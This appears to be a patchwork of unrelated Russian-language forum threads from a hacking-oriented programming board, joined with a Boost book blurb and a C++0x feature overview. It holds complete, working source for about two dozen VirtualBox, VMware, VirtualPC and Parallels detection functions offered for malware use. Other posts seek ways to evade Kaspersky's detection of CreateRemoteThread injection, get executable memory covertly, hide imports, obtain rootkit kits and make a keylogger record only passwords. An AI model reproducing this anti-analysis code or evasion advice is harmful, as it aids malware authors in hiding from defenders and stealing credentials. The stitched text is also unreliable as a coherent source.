Издание, являющееся переводом одной из книг серии "C++ in Depth", посвящено описанию Boost Graph Library (BGL) - библиотеки для построения структур данных и алгоритмов вычислений на графах, предназначенных для решения самых разнообразных задач: от оптимизации интернет-маршрутизации и планирования телефонных сетей до задач молекулярной биологии. Содержит развернутое описание BGL, демонстрирует примеры приложений к реальным задачам. Первая часть является полным руководством пользователя, начинается с введения понятий теории графов, терминологии и описания обобщенных алгоритмов на графах, знакомит пользователя со всеми основными возможностями библиотеки BGL. Вторая часть - полное справочное руководство, содержит документацию ко всем концепциям BGK, ее алгоритмам и классам.
Какие среды разработки вы используете для кодинга на Си?
Лично у меня основные проекты пишутся в студии. Visual Studio это стандарт
де-факто для разработки под винду, с этим никто спорить не будет. Мне лично
студия нравится наличием готовых инклудов и либов для винды и удобной
пошаговой отладкой кода. Еще, есть хороший плагин для студии visual assist,
ускоряющий написание кода (подсказки по функциям, параметрам и так далее).
Вроде как в новых версиях подобная функция идет "из коробки", не знаю, я
использую 2008 студию. Да, когда-то я считал что все это не "тру", что иде
расслабляет, только нотепад, но работа на заказ изменила мои взгляды.
Из минусов студии - игры с CRT (либо тащить дллку, либо не юзать вообще, либо
извраты с линковкой ХРшной либы).
Еще студия хороша тема, что можно прилинковать асм-файлы , т.е. юзать в одном проекте и Масм, и Си. Правда, ценность этого весьма сомнительна, ибо на асме уже мало кто пишет
Также неплохая вещь codeblocks , если надо накодить небольшое, и не хочется запускать студию, создавать проект, настраивать параметры..
Для создания простейших GUI приложений (билдеры, etc. ) я юзаю C++ builder. По факту, это тот же дельфи , только сишный синтаксис. Да, он тяжелый, тащит за собой кучу мусора, но в нем проще создать какой-то патчер, чем писать на чистом винапи. Да и, как бы в свете последних событий, когда малварь на сишарпе и питоне (!!!!) становится стандартном - размер уже никого не удивляет.
Функции из журнала "хакер", мб кому пригодится.
VirtualMachineDetect.h
Code:Copy to clipboard
//------------------------------------------------------------------------
//Функции для определения факта запуска приложения под виртуальной машиной
// определяются VirtualBox, VMware, VirtualPC и Parallels Workstation
//------------------------------------------------------------------------
#include <windows.h>
#include <Tlhelp32.h>
#include <iphlpapi.h>
#pragma comment(lib, "IPHLPAPI.lib")
//обнаружение VMware с помощью backdoor-порта
bool VMwareDetect();
//обнаружение VirtualPC с помощью "неправильных" команд процессора
bool VirtualPCDetect();
//обнаружение VMware имени окна "VMSwitchUserControlClass"
bool VMwareWindowDetect();
//обнаружение VirtualBox имени окна "VBoxTrayToolWndClass"
bool VirtualBoxWindowDetect();
//обнаружение VMware по версии BIOS в реестре
bool VMwareBIOSDetect();
//обнаружение VirtualBox по версии BIOS видеоадаптера в реестре
bool VirtualBoxBIOSDetect();
//обнаружение Parallels Workstatin по наличию ключа PRLSACPI в реестре
bool ParallelsRegDetect();
//обнаружение VirtualBox по имени процесса "VBoxTray.exe"
bool VirtualBoxProcessDetect();
//обнаружение VirtualPC по имени процесса "vmusrvc.exe"
bool VirtualPCProcessDetect();
//обнаружение VMware по имени процесса "vmtoolsd.exe"
bool VMwareProcessDetect();
//обнаружение VirtualBox по имени объекта "Device\VBoxMiniRdrDN" и "Device\VBoxGuest"
bool VirtualBoxDevObjDetect();
//обнаружение VirtualPC по имени объекта "Device\\VMDRV"
bool VirtualPCDevObjDetect();
//обнаружение VirtualBox по идентификатору процессора
bool VirtualBoxCPUIDDetect();
//обнаружение VMware по идентификатору процессора
bool VMwareCPUIDDetect();
//обнаружение Parallels Workstatin по идентификатору процессора
bool ParallelsCPUIDDetect();
//обнаружение VirtualPC по MAC-адресу
bool VirtualPCMACDetect();
//обнаружение VirtualBox по MAC-адресу
bool VirtualBoxMACDetect();
//обнаружение VMware по MAC-адресу
bool VMwareMACDetect();
//обнаружение Parallels Workstatin по MAC-адресу
bool ParallelsMACDetect();
//обнаружение виртуальной машины по идентификатору жесткого диска
//для VirtualPC IDDisk - "DiskVirtual"
//для VirtualBox IDDisk - "DiskVBOX_HARDDISK"
//для VMware IDDisk - "Prod_VMware_Virtual"
bool VirtualMachineIDDiskDetect(char* IDDisk);
//обнаружение Parallels Workstatin по видеоадаптеру
bool ParallelsVideoCardDetect();
//обнаружение VirtualBox по видеоадаптеру
bool VirtualBoxVideoCardDetect();
//обнаружение VirtualPC по видеоадаптеру
bool VirtualPCVideoCardDetect();
VirtualMachineDetect.cpp
Code:Copy to clipboard
#include "VirtualMachineDetect.h"
//----------------------------------------------------------------------
bool VMwareDetect()
{
__try
{
__asm
{
mov eax, 0x564d5868
mov ecx, 0x0A
mov edx, 0x5658
in eax, dx
}
return true;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
return false;
}
}
//----------------------------------------------------------------------
bool VirtualPCDetect()
{
__try
{
__asm
{
xor ebx, ebx
mov eax, 1
__emit(0x0F)
__emit(0x3F)
__emit(0x07)
__emit(0x0B)
}
return true;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
return false;
}
}
//----------------------------------------------------------------------
bool VMwareWindowDetect()
{
HWND VMwareWindow = NULL;
VMwareWindow = FindWindowA("VMSwitchUserControlClass",NULL);
if(VMwareWindow != NULL)
{
return true;
}
return false;
}
//----------------------------------------------------------------------
bool VirtualBoxWindowDetect()
{
HWND VBoxWindow = NULL;
VBoxWindow = FindWindowA("VBoxTrayToolWndClass",NULL);
if(VBoxWindow != NULL)
{
return true;
}
return false;
}
//----------------------------------------------------------------------
bool VMwareBIOSDetect()
{
HKEY rKey;
wchar_t RegKey[256];
wchar_t RegVMware[] = {L"VMware Virtual Platform"};
DWORD RegPath = sizeof(RegKey);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
L"HARDWARE\\DESCRIPTION\\System\\BIOS",
0,
KEY_QUERY_VALUE,
&rKey);
RegQueryValueEx(rKey,
L"SystemProductName",
NULL,
NULL,
(BYTE*)RegKey,
&RegPath);
RegCloseKey(rKey);
if (memcmp(RegKey, RegVMware, 48) == 0)
{
return true;
}
return false;
}
//----------------------------------------------------------------------
bool VirtualBoxBIOSDetect()
{
HKEY rKey;
wchar_t RegKey[256];
wchar_t RegVBox[] = {L"Oracle VM VirtualBox"};
DWORD RegPath = sizeof(RegKey);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
L"HARDWARE\\DESCRIPTION\\System",
0,
KEY_QUERY_VALUE,
&rKey);
RegQueryValueEx(rKey,
L"VideoBiosVersion",
NULL,
NULL,
(BYTE*)RegKey,
&RegPath);
RegCloseKey(rKey);
if (memcmp(RegKey, RegVBox, 40) == 0)
{
return true;
}
return false;
}
//----------------------------------------------------------------------
bool ParallelsRegDetect()
{
HKEY rKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
L"HARDWARE\\ACPI\\DSDT\\PRLS__\\PRLSACPI",
0,
KEY_QUERY_VALUE,
&rKey) == ERROR_SUCCESS)
{
RegCloseKey(rKey);
return true;
}
return false;
}
//----------------------------------------------------------------------
bool VirtualBoxProcessDetect()
{
wchar_t VBoxProcessName[] = {L"VBoxTray.exe"};
PROCESSENTRY32 pe;
HANDLE hSnapShot;
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
ZeroMemory (&pe, sizeof(PROCESSENTRY32W));
pe.dwSize = sizeof(PROCESSENTRY32W);
Process32First(hSnapShot, &pe);
do
{
if (memcmp(pe.szExeFile, VBoxProcessName, 24) == 0)
{
CloseHandle(hSnapShot);
return true;
}
}
while (Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
return false;
}
//----------------------------------------------------------------------
bool VirtualPCProcessDetect()
{
wchar_t VirtualPCProcessName[] = {L"vmusrvc.exe"};
PROCESSENTRY32 pe;
HANDLE hSnapShot;
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
ZeroMemory (&pe, sizeof(PROCESSENTRY32W));
pe.dwSize = sizeof(PROCESSENTRY32W);
Process32First(hSnapShot, &pe);
do
{
if (memcmp(pe.szExeFile, VirtualPCProcessName, 22) == 0)
{
CloseHandle(hSnapShot);
return true;
}
}
while (Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
return false;
}
//----------------------------------------------------------------------
bool VMwareProcessDetect()
{
wchar_t VMwareProcessName[] = {L"vmtoolsd.exe"};
PROCESSENTRY32 pe;
HANDLE hSnapShot;
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
ZeroMemory (&pe, sizeof(PROCESSENTRY32W));
pe.dwSize = sizeof(PROCESSENTRY32W);
Process32First(hSnapShot, &pe);
do
{
if (memcmp(pe.szExeFile, VMwareProcessName, 24) == 0)
{
CloseHandle(hSnapShot);
return true;
}
}
while (Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
return false;
}
//----------------------------------------------------------------------
bool VirtualBoxDevObjDetect()
{
if ((CreateFile(L"\\\\.\\VBoxMiniRdrDN",0,0,0,OPEN_EXISTING,0,0) !=
INVALID_HANDLE_VALUE)||
(CreateFile(L"\\\\.\\VBoxGuest",0,0,0,OPEN_EXISTING,0,0) !=
INVALID_HANDLE_VALUE))
{
return true;
}
else
{
return false;
}
}
//----------------------------------------------------------------------
bool VirtualPCDevObjDetect()
{
if (CreateFile(L"\\\\.\\VMDRV",0,0,0,OPEN_EXISTING,0,0) !=
INVALID_HANDLE_VALUE)
{
return true;
}
else
{
return false;
}
}
//----------------------------------------------------------------------
bool VirtualBoxCPUIDDetect()
{
DWORD ID_1, ID_2, ID_3;
_asm
{
mov eax, 0x1
cpuid
mov eax, 0x40000000
cpuid
mov ID_1, ebx
mov ID_2, ecx
mov ID_3, edx
}
if ((ID_1 == 0x00000340)&&(ID_2 == 0x00000340))
{
return true;
}
else
{
return false;
}
}
//----------------------------------------------------------------------
bool VMwareCPUIDDetect()
{
DWORD ID_1, ID_2, ID_3;
_asm
{
mov eax, 0x1
cpuid
mov eax, 0x40000000
cpuid
mov ID_1, ebx
mov ID_2, ecx
mov ID_3, edx
}
if ((ID_1 == 0x61774d56)&&(ID_2 == 0x4d566572)&&(ID_3 == 0x65726177))
{
return true;
}
else
{
return false;
}
}
//----------------------------------------------------------------------
bool ParallelsCPUIDDetect()
{
DWORD ID_1, ID_2, ID_3;
_asm
{
mov eax, 0x1
cpuid
mov eax, 0x40000000
cpuid
mov ID_1, ebx
mov ID_2, ecx
mov ID_3, edx
}
if ((ID_1 == 0x70726c20)&&(ID_2 == 0x68797065)&&(ID_3 == 0x72762020))
{
return true;
}
else
{
return false;
}
}
//----------------------------------------------------------------------
bool VirtualPCMACDetect()
{
PIP_ADAPTER_INFO AdapterInfo = NULL;
DWORD OutBufLen;
GetAdaptersInfo(AdapterInfo, &OutBufLen);
AdapterInfo = (PIP_ADAPTER_INFO) new(char[OutBufLen]);
GetAdaptersInfo(AdapterInfo, &OutBufLen);
if (((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x03) &&
((BYTE)AdapterInfo->Address[2] == 0xff) ||
((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x12) &&
((BYTE)AdapterInfo->Address[2] == 0x5a) ||
((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x1d) &&
((BYTE)AdapterInfo->Address[2] == 0xd8) ||
((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x15) &&
((BYTE)AdapterInfo->Address[2] == 0x5d) ||
((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x22) &&
((BYTE)AdapterInfo->Address[2] == 0x48) ||
((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x0d) &&
((BYTE)AdapterInfo->Address[2] == 0x3a) ||
((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x17) &&
((BYTE)AdapterInfo->Address[2] == 0xfa) ||
((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x25) &&
((BYTE)AdapterInfo->Address[2] == 0xae) ||
((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x50) &&
((BYTE)AdapterInfo->Address[2] == 0xf2) ||
((BYTE)AdapterInfo->Address[0] == 0x28) &&
((BYTE)AdapterInfo->Address[1] == 0x18) &&
((BYTE)AdapterInfo->Address[2] == 0x78) ||
((BYTE)AdapterInfo->Address[0] == 0x60) &&
((BYTE)AdapterInfo->Address[1] == 0x45) &&
((BYTE)AdapterInfo->Address[2] == 0xbd) ||
((BYTE)AdapterInfo->Address[0] == 0x7c) &&
((BYTE)AdapterInfo->Address[1] == 0x1e) &&
((BYTE)AdapterInfo->Address[2] == 0x52) ||
((BYTE)AdapterInfo->Address[0] == 0x7c) &&
((BYTE)AdapterInfo->Address[1] == 0xed) &&
((BYTE)AdapterInfo->Address[2] == 0x8d) ||
((BYTE)AdapterInfo->Address[0] == 0xdc) &&
((BYTE)AdapterInfo->Address[1] == 0xb4) &&
((BYTE)AdapterInfo->Address[2] == 0xc4))
{
delete(AdapterInfo);
return true;
}
else
{
delete(AdapterInfo);
return false;
}
}
//----------------------------------------------------------------------
bool VirtualBoxMACDetect()
{
PIP_ADAPTER_INFO AdapterInfo = NULL;
DWORD OutBufLen;
GetAdaptersInfo(AdapterInfo, &OutBufLen);
AdapterInfo = (PIP_ADAPTER_INFO) new(char[OutBufLen]);
GetAdaptersInfo(AdapterInfo, &OutBufLen);
if (((BYTE)AdapterInfo->Address[0] == 0x08) &&
((BYTE)AdapterInfo->Address[1] == 0x00) &&
((BYTE)AdapterInfo->Address[2] == 0x27) ||
((BYTE)AdapterInfo->Address[0] == 0x08) &&
((BYTE)AdapterInfo->Address[1] == 0x00) &&
((BYTE)AdapterInfo->Address[2] == 0x20))
{
delete(AdapterInfo);
return true;
}
else
{
delete(AdapterInfo);
return false;
}
}
//----------------------------------------------------------------------
bool VMwareMACDetect()
{
PIP_ADAPTER_INFO AdapterInfo = NULL;
DWORD OutBufLen;
GetAdaptersInfo(AdapterInfo, &OutBufLen);
AdapterInfo = (PIP_ADAPTER_INFO) new(char[OutBufLen]);
GetAdaptersInfo(AdapterInfo, &OutBufLen);
if (((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x05) &&
((BYTE)AdapterInfo->Address[2] == 0x69) ||
((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x0c) &&
((BYTE)AdapterInfo->Address[2] == 0x29) ||
((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x1c) &&
((BYTE)AdapterInfo->Address[2] == 0x14) ||
((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x50) &&
((BYTE)AdapterInfo->Address[2] == 0x56))
{
delete(AdapterInfo);
return true;
}
else
{
delete(AdapterInfo);
return false;
}
}
//----------------------------------------------------------------------
bool ParallelsMACDetect()
{
PIP_ADAPTER_INFO AdapterInfo = NULL;
DWORD OutBufLen;
GetAdaptersInfo(AdapterInfo, &OutBufLen);
AdapterInfo = (PIP_ADAPTER_INFO) new(char[OutBufLen]);
GetAdaptersInfo(AdapterInfo, &OutBufLen);
if (((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x1c) &&
((BYTE)AdapterInfo->Address[2] == 0x42))
{
delete(AdapterInfo);
return true;
}
else
{
delete(AdapterInfo);
return false;
}
}
//----------------------------------------------------------------------
bool VirtualMachineIDDiskDetect(char* IDDisk)
{
HKEY rKey;
char RegKey[4096];
DWORD RegPath = sizeof(RegKey);
DWORD Type = REG_SZ;
RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum",
0,
KEY_QUERY_VALUE,
&rKey);
RegQueryValueExA(rKey,
"0",
NULL,
&Type,
(LPBYTE)RegKey,
&RegPath);
RegCloseKey(rKey);
if (strstr(RegKey, IDDisk) != 0)
{
return true;
}
return false;
}
//----------------------------------------------------------------------
bool ParallelsVideoCardDetect()
{
HKEY rKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Enum\\PCI\\VEN_1AB8&DEV_4005&SUBSYS_04001AB8&REV_00",
0,
KEY_QUERY_VALUE,
&rKey) == ERROR_SUCCESS)
{
RegCloseKey(rKey);
return true;
}
return false;
}
//----------------------------------------------------------------------
bool VirtualBoxVideoCardDetect()
{
HKEY rKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Enum\\PCI\\VEN_80EE&DEV_BEEF&SUBSYS_00000000&REV_00",
0,
KEY_QUERY_VALUE,
&rKey) == ERROR_SUCCESS)
{
RegCloseKey(rKey);
return true;
}
return false;
}
//----------------------------------------------------------------------
bool VirtualPCVideoCardDetect()
{
HKEY rKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Enum\\PCI\\VEN_5333&DEV_8811&SUBSYS_00000000&REV_00",
0,
KEY_QUERY_VALUE,
&rKey) == ERROR_SUCCESS)
{
RegCloseKey(rKey);
return true;
}
return false;
}
//----------------------------------------------------------------------
Они же на пастебин
http://pastebin.com/ifRxHXC0
http://pastebin.com/j50TPtjn
Собственно нужно сделать реализацию большого кол-ва соединений и обработки
данных.
Пока расматриваю платформу Windows. Насколько эффективно использовать socket's
Интересует как можно неявным образом вызвать VirtualAlloc с аттрибутами PAGE_EXECUTE_READWRITE ну или PAGE_EXECUTE_WRITECOPY
интересует не такое направление => GetProcAddress(Kernel32base,.....) или более низких аналогов -> LdrGetProcedureAddress -> sysenter
а такого плана => call LoadLibrary - при этом выполняется много апишек в
системных дллках в том числе VirtualAlloc, но к сожаленью максимально
PAGE_EXECUTE_READ
(VirtualProtect юзать не разрешается)
у кого какие догадки есть ?
сабж, залейте кто-нить самые свежие версии файлов ntdll.h и ntdll.lib , а то в моих старых чота отсутствуют некоторые структуры и функи, не охота щас качать sdk wdk
Вообщем шеф на работе вообще с ума сошел и для повышения
квалификации,определения навыков сотрудников дал задание,написать программу на
любом языке использующий WinAPI.
Что должна делать программа?запускаешь программу и она ждет пока в папке
появится текстовый документы или несколько документов в которых написано
откуда и куда копировать какие файлы,например,текстовик,а там C:\\temp
D:\\Folder,а так же еще должна быть возможность копирования файлов по
маске,например все *jpg файлы.
Я в не силен в кодинге,но было оговорено вроде что-то типа вся программа на
потоках построена должна быть и дали файлик мне,там типа условий и потоков:
- существует отдельная папка, где располагаются задания
- задания представляют собой простой текстовый файл, состоящий из двух частей
---------------------------------------------------------------
Для работы с потоками используются функция CreateThread.
ПОТОКИ
HANDLE CreateThread(
LPSECURITY ATTRIBUTES ProcAttr,
SIZT_T StackSize,
LPTHREAD_START_ROUTINE Func,
LPVOID Params,
DWORD Flags,
LPWORD ThreadId)
BOOL TerminateThread(HANDLE h,
DWORD ExitCode)
DWORD [Suspend/Resume] Thread(HANDLE h)
Suspend – приостановить работу потока
Resume – возобновить работу потока
Действие функции Suspend является накапливаемым (если два раза запустить
функцию SuspendThread одному и тому же потоку, то необходимо вызвать дважды
ResumeThread)
BOOL SwitchToThread()
Вызвать планировщик системы.
DWORD SetThreadAffinitiMask(HANDLE h,
DWORD NetMask)
Уст. множество процессоров, на которых поток может работать.
Результат – предыдущая маска, в которой все работало
DWORD SetThreadIdealProcessor(HANDLE h,
DWORD NProc)
Устанавливаем для потока предпочитаемый процессор. Если все равно какой
процессор, то вместо NProc ставим константу MAXIMUM_PROCESSOR.
Кодеры,кто возьмется мне помочь с этим делом?В долгу никогда не остаюсь,все будут довольны.Буду признателен за помощь
Внедряю код в процесс с помощью стандартной апи-функции CreateRemoteThread
все замечательно работает, но проактивка касперского палит вызов CreateRemoteThread, и ругается на подозрительную активность
если взять исходник CreateRemoteThread, видно что в ней используются функции
kernel32, такие как BaseCreateStack, BaseInitializeContext и тд
но они не экспортируются kernel32
подскажите пожалуйста, возможно ли вызвать их ? если да, то как ?
или придется эмулировать CreateRemoteThread с помощью недокументированных
функций ntdll ?
если да, то каким образом ?
Понадобился недавно Kernel Development Pack с rootkits, но все ссылки
оказались битые.
Скачать удалось только с торрентов. Перезалил, может понадобится кому-нибудь.
Размер 84 Мб.
sendspace.com
rapidshare.de
filefactory.com
вот такой сабж, нужно получение адреса функции GetProcAddress для последующего скрытия некоторых импортируемых функций в проге , попадались в инете варианты но так у меня и не заработали, мож у кого есть примерчик для с++ ?
Добрий день . Помогите пожалуста с кодом .
(Win vista) Dep off , Сам сижу под админом , е визуал студио тоже.
Если без if , тогда все работает
static private bool ExistanceCheck(string Start, string SubKeyPath, string KeyName, string DefaultVal)//true , changed , false (unexistante , other value)
{
RegistryKey rk = Registry.LocalMachine;//fcking c#
if (Start == "HKCU")
{
rk = Registry.LocalMachine;
}
else
{
rk = Registry.CurrentUser;
}rk = rk.OpenSubKey(SubKeyPath);
object valor = new Object();
valor = rk.GetValue(KeyName);
try
{
if (valor.ToString() == null)
{
return false;
}
}
catch (Exception)
{
return false;}
if (ValueCheck(Start, SubKeyPath, KeyName, DefaultVal) == true)
{
return true;
}
else
{
return false;
}}
static private bool ValueCheck(string Start, string SubKeyPath, string KeyName, string DefaultVal)//true , default, false other
{
RegistryKey rk;
rk = Registry.LocalMachine;//fcking c#
if (Start == "HKLM")
{
rk = Registry.LocalMachine;
}
else if (Start == "HKCU")
{
rk = Registry.CurrentUser;
}
rk = rk.OpenSubKey(SubKeyPath);
object valor = rk.GetValue(KeyName);
if (valor.ToString() == DefaultVal)
{
return true;
}
return false;}
Click to expand...
Если идет так :
bool mrd = ExistanceCheck("HKCU", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableRegistryTools", "0");
Click to expand...
Все ок . А если биру "HKLM"
bool mrd = ExistanceCheck("HKLM", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableRegistryTools", "0");
Click to expand...
Дает ошибку.
Object reference not set to an instance of an object.
valor = rk.GetValue(KeyName);
Click to expand...
...
Code:Copy to clipboard
RegistryKey rk = Registry.LocalMachine;//fcking c#
rk = rk.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
object valor = new Object();
valor = rk.GetValue("DisableRegistryTools");
И если поменяю местами
Code:Copy to clipboard
RegistryKey rk = Registry.CurrentUser;//fcking c#
if (Start == "HKCU")
{
rk = Registry.CurrentUser;
}
else
{
rk = Registry.LocalMachine;
}
тоже не работает
Задача.
Извлечение из документа MS Word текста и разметки. Результаты
помещаются в два отдельных файла. C++. Работа с форматов
скрывается в библиотеке (стат. или динам.). Консольное приложение
получает на вход имя файла с MS Word документом, на выходе два
файла (текст и разметка).
Есть сервер, слушающий порт. К нему конектится клиент. Сервер принимает от него соединение accept'ом, и из (sockaddr) берет ip клиента. Так вот если клиент сидит за NAT, то сервер получает внутренний IP клиента. Подскажите как получить внешний айпишник?
в курсовой надо описать принцип работы кейлоггера через хуки. Всё инфу по ним нашёл, остался 1 момент, надо чтоб в лог записывалась отлько та информация, которая при вводе с клавиатуры на экране превращается в звёздочи, короче чтоб только пароли записываались. Как это сделать подскажите плз?
Итак, в кратце, крупные нововведения следующие:
- rvalue references
- template aliases
- variadic templates
- concepts
- unicode characters/strings
- initializer lists
Примечание: имеется так же обзор того, чего НЕ будет в С++09. Новый стандарт C++: C++09 (сообщение #1602819)
Rvalue References
Появились т.н. ссылки на rvalue. Сначала поясню зачем их вообще изобрели. Исходных проблемы было две: forwarding problem и move semantics.Forwarding problem
Эта проблема заключается в том, что текущий стандарт, для заданного выражения E(a1,a2,...,aN), которое зависит от параметров a1,a2,...,aN, не позволяет написать такую ф-цию(или функтор), которая будет эквивалентна этому выражению.Проблема актуальна для разного рода шаблонных обёрток, фабрик, обобщённых функторов и т.п.
За идеал перенаправляющей ф-ции(perfect fowarding function) f(a1,a2,...,aN), которая вызывает g(a1,a2,...,aN) взяли следующие критерии:
- Для всех наборов a1,a2,...,aN, для которых запись g(a1,a2,...,aN) корректна(well-formed), запись f(a1,a2,...,aN) должна быть так же корректна.
- Для всех наборов a1,a2,...,aN, для которых запись g(a1,a2,...,aN) некорректна(ill-formed), запись f(a1,a2,...,aN) должна быть так же некорректна.
- Количество работы, которую придётся проделать для реализации такой идеально-перенаправляющей ф-ции f должно не более чем линейно зависеть от N.
Вот простейший пример:
template < class T1, class T2, class T3>
void f(T1 &a1, T2 &a2, T3 &a3)
{
g(a1, a2, a3);
}
Всё бы хорошо, но нельзя сделать вызов f(1, 2, 3).template < class T1, class T2, class T3>
void f(const T1 &a1, const T2 &a2, const T3 &a3)
{
g(a1, a2, a3);
}
Можно сделать вызов f(1, 2, 3), но, если g хотя бы для одного из параметров берёт неконстантную ссылку, то - облом.template
void f(A1 & a1)
{
g(a1);
}template
void f(A1 const & a1)
{
g(a1);
}
Для перегруженного варианта всё отлично, кроме 3-го пункта, а именно, при росте числа параметров N, кол-во ф-ций, которые придётся написать, равное 2N, будет расти совсем нелинейно.Короче говоря, текущий стандарт решить эту проблему не позволяет.
Move semantics
С++ - язык, построенный на семантике копирования(copy semantics). Что такое семантика перемещения(move semantics)? Хороший пример - std::auto_ptr. Его конструктор копирования берёт неконстантную ссылку и перемещает хранимую в исходном объекте сущность в новый объект(тем самым избегая глубокого копирования). Но, несмотря на то, что конструктор копирования auto_ptr берёт неконстантную ссылку, его суть не в том, чтобы изменить объект, а в том, чтобы переместить к себе его содержимое. Так же, семантика перемещения не помешала бы строкам. Вообразим, что строки у нас без подсчёта ссылок. Теперь вообразим, сколько ресурсов будет затрачено на вычисление такого выражения:
string s = string("123")+"234"+"567"+"678"+"789";будет создано как минимум 5 временных объектов и потом ещё произойдёт глубокое копирование результирующей строки в s(если нету подсчёта ссылок).
А теперь, вообразим, как было бы прекрасно, если бы конструктор копирования умел бы отличать какой объект ему подсунули - временный или нет. Действительно, о временных объектах можно не волноваться и с чистой совестью "забирать" у них выделеный ими буфер, без необходимости глубокого копирования.
К слову, эту проблему можно решить текущими возможностями языка, но очень уж некрасиво...Что же нам предлагает новый стандарт?
А предлагает он следующее: ввести новый тип ссылок - rvalue reference.
Синтаксис:
T t; // lvalue
T &rt = t; // lvalue reference
T &rrt = t; // rvalue reference// правила сворачивания ссылок
T cv1 & cv2 & <=> T cv12 &
T cv1 & cv2 && <=> T cv12 &
T cv1 && cv2 & <=> T cv12 &
T cv1 && cv2 && <=> T cv12 &&Любая именованная rvalue-ссылка трактуется как lvalue.
Любая неименованная rvalue-ссылка трактуется как rvalue.
Т.к. теперь появилась возможность различать тип выражения(lvalue или rvalue), появилась и возможность кастовать lvalue к rvalue: static_cast<T &&>(lval) будет трактоваться как rvalue.
Возвращаемое значение из ф-ции интерпретируется как rvalue т. е.
return val; <=> return static_cast<ret_T &&>(val);Т.о. можно избежать глубокого копирования и ограничиться только лишь перемещением из возвращающей ф-ции в вызвавшую(при наличии соответствующего конструктора).
Forwarding problem решается теперь следующим образом:
void g(long & a1)
{
++a1;
}template
void f(A1 && a1)
{
g(static_cast<A1 &&>(a1));
}int i = 5;
g(i); //fails - int & to long & - запрещённый каст ещё в C++03
f(i); //fails
// A1 выводится(deduced) как int &
// A1 && <=> int & && <=> int &
// a1 - lvalue-reference of int
// static_cast<int &>(a1) - lvalue-reference of int
// f(i) не компилируется по тем же причинам, что и не компилируется g(i)g(1L); // fails - rvalue of long to long & - запрещённый каст ещё в C++03
f(1L); // fails
// A1 выводится как long
// a1 - lvalue of long(named rvalue-reference <=> lvalue)
// static_cast<long &&>(a1) - rvalue of long(lvalue to rvalue cast)
// f(1L) не компилируется т.к. rvalue to non-const lvalue-reference - запрещённый каст ещё в C++03long L;
g(L); // ok
f(L); // ok
// A1 выводится как long &
// A1 && <=> long & && <=> long &
// a1 - lvalue-reference of long
// static_cast<long &>(a1) - lvalue-reference of long
// f(L) компилируется(как и должна)Move semantics обеспечивается следующим образом:
class string
{
public:
string(const string &); // copy constructor
string(string &&); // move constructor
string &operator +=(string &); // copy semantics operator +=
string &&operator +=(string &&); // move semantics opertor +=
};string &&operator +(string &&s1, string &&s2)
{
return s1 += s2;
// т.к. s1 - временный объект, мы не создаём новую строку, мы модифицируем существующую
}В случаях, когда необходимо вызвать конструктор перемещения для объекта, который не является rvalue, можно сделать каст, запросив необходимое поведение следующим образом:
string s1("abc");
string s2 = s1; // construct s2 as s1 copy
string s3 = static_cast<string &&>(s1); // move from s1 to s2Лично я эту фичу считаю очень полезной. Особенно, учитывая появившуюся возможность отличать временные объекты от невременных таким образом увеличив производительность в разы, избавившись от лишних операций копирования.
Template aliases
Думаю все оценят эту фичу.
Проблем, побудивших ввести алиасы две.
Первая заключается в том, что очень часто появляется нужда в "шаблонном typedef'е". Wrokaround'ом этой проблемы как правило является следующая конструкция:
template < class T >
struct MyVector
{
typedef std::vector< T, MyAllocator< T > > type;
};MyVector< int
:ype vec; // не очень красивая запись
Вторая же проблема выражается в том, что при использовании вышеобозначенного workaround'а перестаёт работать вывод шаблонных параметров.
template < class T >
void f(std::vector< T > &)
{ }template < class T >
void f2(typename MyVector< T:ype &)
{ }std::vector< int > v;
MyVector< int:ype v2;
f(v); // ok
f2(v2); // ill-formedАлиасы позволяют решить обе проблемы. Алиасы представляют из себя объявления. Они не определяют новых типов.
template < class T >
using MyVector = std::vector< T, MyAllocator< T > >;using MyFloat = float;
void f1(float) { } // ok
